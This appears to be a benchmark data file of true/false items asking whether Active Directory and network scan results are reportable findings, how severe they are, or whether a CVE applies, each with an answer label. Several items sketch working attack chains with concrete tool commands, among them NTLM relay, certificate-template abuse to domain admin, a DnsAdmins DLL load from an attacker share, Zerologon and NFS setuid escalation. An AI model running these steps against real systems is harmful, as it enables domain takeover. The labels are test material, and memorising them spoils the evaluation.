{"id": "net-316", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "No Enrollment Agent template is published on the CA (ESC3 absent); the Certificate Request Agent EKU is not enrollable by non-PKI staff.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "net-351", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "VNC 5900 on 10.0.8.15 accepts an empty/no-auth connection; vncviewer dropped straight onto an interactive admin desktop with a logged-in domain admin session.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "net-332", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "netexec smb 10.10.14.20-39 reports 'signing:True (required)' on DC01.corp.local and every member server; a staged ntlmrelayx to SMB fails with STATUS_ACCESS_DENIED (relay blocked).", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "net-045", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "nxc ldap DC01 -M ldap-signing -> server signing NOT required and channel binding off; relay NTLM to LDAP (ntlmrelayx --escalate-user) for RBCD.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "net-003", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "bloodhound: nested path LOWPRIV ->(MemberOf) HELPDESK ->(ForceChangePassword) IT_ADMIN ->(AdminTo) DC01; 3-hop chain to DC admin.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "net-pol-004", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "Kerberos pre-authentication is required for every account in the domain (no DONT_REQ_PREAUTH accounts exist).", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "network-seve-003", "side": "offensive", "category": "off_severity", "type": "boolean", "state": "AS-REP Roasting: 12 domain accounts have 'Do not require Kerberos preauthentication' set. Three are service accounts with SPN delegation to SQL servers containing PII.", "question": "Is this finding HIGH severity or above?", "criteria": {"true": "HIGH or CRITICAL — significant data exposure, privilege escalation, or system compromise", "false": "MEDIUM or below — limited impact, hard to exploit, or requires preconditions"}, "target": true} {"id": "net-119", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "nmap -p389,636 DC01 --script ldap-* -> LDAPS enforced, StartTLS required for simple binds; cleartext LDAP bind refused.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "net-100", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "GetUserSPNs.py -> SPN accounts exist but none are members of any privileged group; all use AES-only, 28-char managed passwords.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "net-240", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "Unconstrained delegation exists only on the DCs (expected), and all coercion vectors (PetitPotam/PrinterBug/DFSCoerce) are patched, so no TGT capture is possible.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "net-080", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "certipy find -> ESC9 (no security extension, szOID_NTDS_CA_SECURITY_EXT missing) on 'User' template + GenericWrite on a victim; UPN remap to DA.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "net-238", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "ldapsearch shows user 'description' attributes contain only job titles and office numbers; no credentials are stored in descriptions anywhere in the directory.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "net-253", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "Our account is in BUILTIN\\Server Operators on DC01; sc.exe created a service pointing at our binary and it ran as LocalSystem, giving DC code execution.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "net-015", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "nxc smb DC01 -M nopac -> NOT vulnerable; CVE-2021-42278/42287 patched (Nov-2021), sAMAccountName spoofing rejected.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "net-004", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "mitm6 -d corp.local -> no DHCPv6 solicits honored; IPv6 disabled on clients and DHCPv6 guard on the switch; no WPAD takeover.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "net-330", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "LAPS is NOT deployed and every workstation shares local admin hash 0x3b9e... (netexec --local-auth Pwn3d! on 40 hosts); a single PtH owns the whole client tier.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "net-280", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "NBT-NS poisoning with Responder answered a WORKGROUP<00> broadcast; the captured NetNTLMv2 for CORP\\finance1 cracked and the account is an RDP user on the finance box.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "net-081", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "nmap --script smb-protocols 10.10.0.60 -> SMBv1 enabled (dialect NT LM 0.12); reachable from the client subnet.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "net-055", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "nxc smb 10.10.0.5 -> [+] DC01 (signing:False) (SMBv1:False); DC01 is the PDC emulator. SMB signing not required on a domain controller enables NTLM relay (ntlmrelayx -t ldaps://DC01).", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "net-028", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "certipy find -> CA flag EDITF_ATTRIBUTESUBJECTALTNAME2 set (ESC6); any enrollable template now lets the requester add an arbitrary SAN -> domain admin cert.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "network-aler-005", "side": "defensive", "category": "def_alert_severity", "type": "boolean", "state": "EDR HIGH: Mimikatz signature detected in LSASS process memory on server SRV-APP01. sekurlsa::logonpasswords executed — cached domain credentials for 12 users extracted.", "question": "Is this alert high severity requiring immediate response?", "criteria": {"true": "active exploitation, data exfiltration, or privilege escalation in progress", "false": "low-priority, informational, or already mitigated"}, "target": true} {"id": "net-268", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "We hold GenericWrite on SRV05.corp.local; rbcd.py wrote msDS-AllowedToActOnBehalfOfOtherIdentity to a machine account we control and getST -impersonate admin granted SYSTEM on SRV05.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "net-104", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "nxc ldap DC01 -M enum_av + GetUserSPNs -> svc_web supports RC4 only (msDS-SupportedEncryptionTypes=4); Kerberoast forces RC4, fast offline crack.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "net-013", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "nxc smb DC01 -M zerologon -> NOT vulnerable (build 17763.1432, Aug-2020 patch); netlogon enforces secure RPC.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "net-292", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "GetUserSPNs.py lists service accounts but each is a gMSA with a 240-char managed password and msDS-SupportedEncryptionTypes AES-only; the RC4-disabled TGS is not crackable.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "network-aler-001", "side": "defensive", "category": "def_alert_triage", "type": "boolean", "state": "Firewall log: 50,000 SYN packets from external IP 198.51.100.42 to port 445 (SMB) across 200 internal IPs in 30 seconds. No internal SMB service is exposed externally — packets dropped at perimeter.", "question": "Is this security alert a true positive?", "criteria": {"true": "real malicious or unauthorized activity", "false": "legitimate activity, misconfigured rule, or known benign behavior"}, "target": false} {"id": "net-083", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "nxc winrm 10.10.0.22 -u administrator -p 'Company2024' -> Pwn3d!; default-pattern password grants WinRM admin shell on a server.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "net-345", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "BUILTIN\\Server Operators is empty and service creation on the DCs is restricted to administrators; no low-priv service-install path exists.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "net-275", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "certutil shows EDITF_ATTRIBUTESUBJECTALTNAME2 set on CA 'CORP-CA' (ESC6); certipy req with -upn administrator injected a SAN and obtained a DA certificate.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "net-272", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "showmount -e 10.0.7.12 exports / with no_root_squash and insecure; we mounted it, dropped a root-owned setuid bash, and executed it for root on the NFS host.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "net-097", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "nxc smb 10.10.0.0/24 -u admin -H --local-auth -> Pwn3d! on 48/50 hosts; identical local Administrator hash reused everywhere, LAPS absent.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "net-248", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "bloodhound: CORP\\reporting_svc has WriteDacl on the domain head; dacledit.py granted GetChangesAll to ourselves, enabling DCSync.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "network-verd-008", "side": "offensive", "category": "off_verdict", "type": "boolean", "state": "CrackMapExec: cme smb 10.0.1.0/24 -u admin -p 'Password123' — all hosts return [-] STATUS_LOGON_FAILURE. Default credential does not work on any host.", "question": "Is the probe result VULNERABLE?", "criteria": {"true": "the evidence confirms exploitability", "false": "the evidence is inconclusive, a false positive, or the control is effective"}, "target": false} {"id": "net-089", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "bloodhound: user DEVOPS is a member of DnsAdmins; set the dns ServerLevelPluginDll to load a DLL as SYSTEM on the DC (restart DNS).", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "net-060", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "nxc smb DC01 -u a -p a -M zerologon -> VULNERABLE (CVE-2020-1472); DC netlogon accepts all-zero challenge, reset the DC machine password.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "net-256", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "Null session via rpcclient allowed lsaquery + RID cycling (lookupsids 500-1500) that enumerated every domain user and the real 'Administrator' name for later spraying.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "network-aler-002", "side": "defensive", "category": "def_alert_triage", "type": "boolean", "state": "SIEM correlation: User 'j.smith' authenticated via VPN from IP 203.0.113.10 (US) and simultaneously from 198.51.100.5 (Russia) within 2 minutes. Impossible travel.", "question": "Is this security alert a true positive?", "criteria": {"true": "real malicious or unauthorized activity", "false": "legitimate activity, misconfigured rule, or known benign behavior"}, "target": true} {"id": "net-335", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "A deploy.ps1 on the share references a credential but retrieves it from Windows Credential Manager / DPAPI at runtime; no plaintext password is embedded.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "net-337", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "ADCS web enrollment is disabled and the CA only accepts HTTPS with Extended Protection for Authentication (channel binding); a PetitPotam-relayed ESC8 attempt is refused.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "net-069", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "mitm6 -d corp.local -> acting as rogue DHCPv6 DNS; victim WS010 sends WPAD request; ntlmrelayx -6 -t ldaps relays machine account to add a computer.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "network-cve_-003", "side": "offensive", "category": "off_cve_applicable", "type": "boolean", "state": "Apache 2.4.58 on CentOS 9. Checking CVE-2023-25690 (HTTP request smuggling via mod_proxy). mod_proxy is not loaded — the server uses nginx as reverse proxy. Apache serves only static content.", "question": "Is this CVE applicable to this target?", "criteria": {"true": "the CVE applies and the target is vulnerable", "false": "the CVE does not apply — wrong version, config, or platform"}, "target": false} {"id": "net-324", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "Cross-forest Kerberoasting blocked: selective authentication is set on the trust, so TGS requests for the other forest's services are denied.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "net-115", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "Get-GPPPassword over SYSVOL -> no cpassword attributes found in any Groups.xml/Services.xml; GPP credentials already remediated (KB2962486).", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "net-289", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "Password spray hit the lockout threshold after 3 attempts (observed account lockout, threshold=5, duration 30m); no valid credential was found and the policy is strong.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "net-210", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "We have GenericWrite on the certificate-template object 'VPNUser' (ESC4); certipy template reconfigured it into an ESC1 and we enrolled as administrator.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "net-113", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "showmount -e 10.10.0.50 -> /export 10.10.1.0/24(ro,root_squash); read-only to a specific subnet with root squashing; no privileged write.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "net-111", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "nmap --script ssl-enum-ciphers -p443 app01 -> TLS 1.2 and 1.3 only, strong ciphers, no SSLv3/TLS1.0/1.1; cert valid and trusted.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "network-verd-004", "side": "offensive", "category": "off_verdict", "type": "boolean", "state": "nmap --script smb-vuln-ms17-010: Host 10.0.1.200 (Windows Server 2022) is NOT VULNERABLE. SMBv1 is disabled (no SMBv1 dialect negotiation response).", "question": "Is the probe result VULNERABLE?", "criteria": {"true": "the evidence confirms exploitability", "false": "the evidence is inconclusive, a false positive, or the control is effective"}, "target": false} {"id": "net-106", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "bloodhound: 'Backup Operators' contains only the built-in Administrator; no non-admin principal holds SeBackup on the DC.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "net-318", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "Kerberoast: the domain enforces AES (RC4 removed via msDS-SupportedEncryptionTypes), and svc_report uses a 32-char random password; hashcat -m19700 exhausted rules without a crack.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "net-294", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "SID history abuse blocked: SID filtering (quarantine) is enabled on all external and forest trusts, so injected foreign SIDs are stripped.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "net-051", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "nxc smb FS01 --shares -> 'NETLOGON' READ/WRITE for Authenticated Users; logon scripts world-writable, backdoor every user's startup script.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "net-035", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "bloodhound: no principal has write on msDS-AllowedToActOnBehalfOfOtherIdentity for any computer; RBCD not writable by non-admins.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "net-232", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "StrongCertificateBindingEnforcement=0 on the DCs (ESC10); certipy got a cert for a low-priv user, edited userPrincipalName to administrator@corp.local, and authenticated as DA.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "network-seve-006", "side": "offensive", "category": "off_severity", "type": "boolean", "state": "IPMI interface on bare-metal servers exposed on the management VLAN with default credentials (ADMIN/ADMIN). IPMI provides out-of-band server management including power control and KVM.", "question": "Is this finding HIGH severity or above?", "criteria": {"true": "HIGH or CRITICAL — significant data exposure, privilege escalation, or system compromise", "false": "MEDIUM or below — limited impact, hard to exploit, or requires preconditions"}, "target": true} {"id": "net-117", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "nmap -p6379 10.10.0.40 --script redis-info -> Redis requires AUTH (NOAUTH error) and bound 127.0.0.1 only; not reachable unauthenticated.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "net-306", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "mDNS poisoning with Responder answered an _workstation._tcp query from 10.0.4.9 and captured a NetNTLMv2 that cracked to a helpdesk password.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "net-212", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "nmap smb-vuln-ms17-010 reports all hosts NOT vulnerable; the estate is Windows Server 2022 / Windows 11 with SMBv1 removed and MS17-010 long patched.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "net-103", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "nxc smb 10.10.0.0/24 -u guest -p '' -> Guest account enabled and maps to 'Everyone' on FS02 share 'HR' (READ) containing payroll PII.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "net-284", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "RBCD review: msDS-AllowedToActOnBehalfOfOtherIdentity is empty on all computer objects and we hold no write ACL over any machine; no RBCD path exists.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "net-267", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "Our account is a member of DnsAdmins; dnscmd DC01 /config /serverlevelplugindll \\\\attacker\\evil.dll loaded our DLL into dns.exe as SYSTEM on the DC.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "network-temp-006", "side": "offensive", "category": "off_template_relevance", "type": "boolean", "state": "Target: VMware vCenter 8.0. Template: 'vcenter-rce-cve-2023-34048'. Tests CVE-2023-34048 out-of-bounds write in DCERPC. Version 8.0 is in the affected range.", "question": "Is this probe template relevant to the target?", "criteria": {"true": "the template tests a class that applies to this tech stack", "false": "wrong technology, wrong version, or the class cannot exist on this stack"}, "target": true} {"id": "net-065", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "bloodhound: no GenericAll/GenericWrite/WriteDacl from non-admin principals to any user, group, computer, or GPO; ACL hygiene clean.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "net-058", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "bloodhound: GPO 'Default Workstation Policy' writable only by Domain Admins and SYSTEM; no low-priv write path.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "network-chai-006", "side": "offensive", "category": "off_chain_worthy", "type": "boolean", "state": "SSH banner: 'OpenSSH_9.3p1 Ubuntu-1ubuntu3'. Version disclosure — no CVE for this exact build provides RCE.", "question": "Is this finding worth chaining with another for higher impact?", "criteria": {"true": "chains to a meaningful escalation (ATO, data access, lateral movement)", "false": "standalone only — no useful chain target or the chain is theoretical"}, "target": false} {"id": "net-014", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "nxc ftp 10.10.0.45 -u anonymous -p anon -> 230 Login OK; STOR allowed into web root; anonymous FTP write to a served directory.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true} {"id": "net-076", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "nxc smb 10.10.0.80 -> SMBv1 disabled, signing required, Guest disabled; host is a hardened file server with only data shares behind auth.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "network-test-005", "side": "offensive", "category": "off_test_class", "type": "boolean", "state": "Target: Windows 10 workstations on the corporate domain. Proposed test class: local privilege escalation. Workstations may have misconfigurations (unquoted service paths, weak ACLs, cached credentials) exploitable by a low-privileged user.", "question": "Should this vulnerability test class run on this target?", "criteria": {"true": "the class is applicable to the detected technology", "false": "the class is impossible or irrelevant for this stack"}, "target": true} {"id": "network-cve_-001", "side": "offensive", "category": "off_cve_applicable", "type": "boolean", "state": "nginx 1.24.0 on Ubuntu 22.04 serving reverse proxy traffic. Checking CVE-2023-44487 (HTTP/2 Rapid Reset DoS). Server has HTTP/2 enabled in the listen directive. EPSS: 83%.", "question": "Is this CVE applicable to this target?", "criteria": {"true": "the CVE applies and the target is vulnerable", "false": "the CVE does not apply — wrong version, config, or platform"}, "target": true} {"id": "net-102", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "snmpwalk -v2c -c public 10.10.0.30 -> Timeout, no response; snmpwalk -c private -> Timeout; no default community strings.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": false} {"id": "net-acl-004", "side": "offensive", "category": "off_scanner_adjudication", "type": "boolean", "state": "An attacker-controlled account can read the LAPS-managed credential of a machine it is not authorized to manage, via an overly broad delegated ACE.", "question": "Is this a real, reportable security finding?", "criteria": {"true": "a real, exploitable weakness or attack path", "false": "informational / hardened / not reportable alone"}, "target": true}